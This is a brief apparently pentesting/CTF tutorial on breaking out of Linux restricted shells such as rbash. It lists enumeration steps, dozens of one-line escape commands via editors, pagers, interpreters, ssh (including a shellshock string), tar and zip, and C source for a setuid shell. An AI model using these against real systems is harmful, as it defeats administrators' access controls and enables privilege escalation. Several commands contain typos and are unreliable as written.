Author: @n4ckhcker & @h4d3sw0rm
Introduction
Hello, so first of all let’s explain what is a restricted shell ? A restricted shell is a shell that block/restricts some of the commands like cd,ls,echo etc or "block" the environment variables like SHELL,PATH,USER. Sometimes a restricted shell can block the commands with / or the redirecting outputs like >,>>. The types of a restricted shell can be : rbash,rksh,rsh. But now why someone want to create a restricted shell ?
Let’s say some examples :
1)To improve Security
2)To block hackers/pentesters.
3)Sometimes system administrators create a restricted shell to protect theirselves from dangerous commands.
4)For a CTF Challenge. (Root-me/hackthebox/vulnhub)
Enumeration Linux Environment
Enumeration is the most important part. We need to enumeration the Linux environmental to check what we can do to bypass the rbash. We need to enumerate :
1) First we must to check for available commands like cd/ls/echo etc.
2) We must to check for operators like >,>>,<,|.
3) We need to check for available programming languages like perl,ruby,python etc.
4) Which commands we can run as root (sudo -l).
5) Check for files or commands with SUID perm.
6) You must to check in what shell you are : echo $SHELL you will be in rbash by 90%
7) Check for the Environmental Variables : run env or printenv Now let’s move into Common Exploitation Techniques.
Common Exploitation Techniques
Now let’s see some of the common exploitation techniques.
1) If "/" is allowed you can run /bin/sh or /bin/bash.
2) If you can run cp command you can copy the /bin/sh or /bin/bash into your directory.
3) From ftp > !/bin/sh or !/bin/bash
4) From gdb > !/bin/sh or !/bin/bash
5) From more/man/less > !/bin/sh or !/bin/bash
6) From vim > !/bin/sh or !/bin/bash
7) From rvim > :python import os; os.system("/bin/bash )
8) From scp > scp -S /path/yourscript x y:
9) From awk > awk 'BEGIN {system("/bin/sh or /bin/bash")}'
10) From find > find / -name test -exec /bin/sh or /bin/bash \;
Programming Languages Techniques
Now.. let’s look some programming languages techniques.
1) From except > except spawn sh then sh.
2) From python > python -c 'import os; os.system("/bin/sh")'
3) From php > php -a then exec("sh -i");
4) From perl > perl -e 'exec "/bin/sh";'
5) From lua > os.execute('/bin/sh'). or os.system('/bin/bash')
6) From ruby > exec "/bin/sh"
7) From java > Runtime.getRuntime.exec("/bin/bash")
Now let’s move into Advance Techniques.
Advanced Techniques
Now let's move into some dirty advance techniques.
1)From ssh > ssh username@IP - t "/bin/sh" or "/bin/bash"
2)From ssh2 > ssh username@IP -t "bash --noprofile"
3)From ssh3 > ssh username@IP -t "() { :; }; /bin/bash" (shellshock)
4)From ssh4 > ssh -o ProxyCommand="sh -c /tmp/yourfile.sh" 127.0.0.1 (SUID)
5)From git > git help status > you can run it then !/bin/bash
6)From pico > pico -s "/bin/bash" then you can write /bin/bash and then CTRL + T
7)From zip > zip /tmp/test.zip /tmp/test -T --unzip-command="sh -c /bin/bash"
8)From tar > tar cf /dev/null testfile --checkpoint=1 --checkpointaction=exec=/bin/bash
C SETUID SHELL :
#include <stdlib.h> #include <unistd.h> #include <stdio.h> int main(int argc, char **argv, char **envp){ setresgid(getegid(), getegid(), getegid()); setresuid(geteuid(), geteuid(), geteuid()); execve("/bin/bash",argv,envp); return 0; }
Referer:
https://www.exploit-db.com/docs/english/44592-linux-restricted-shell-bypass-guide.pdf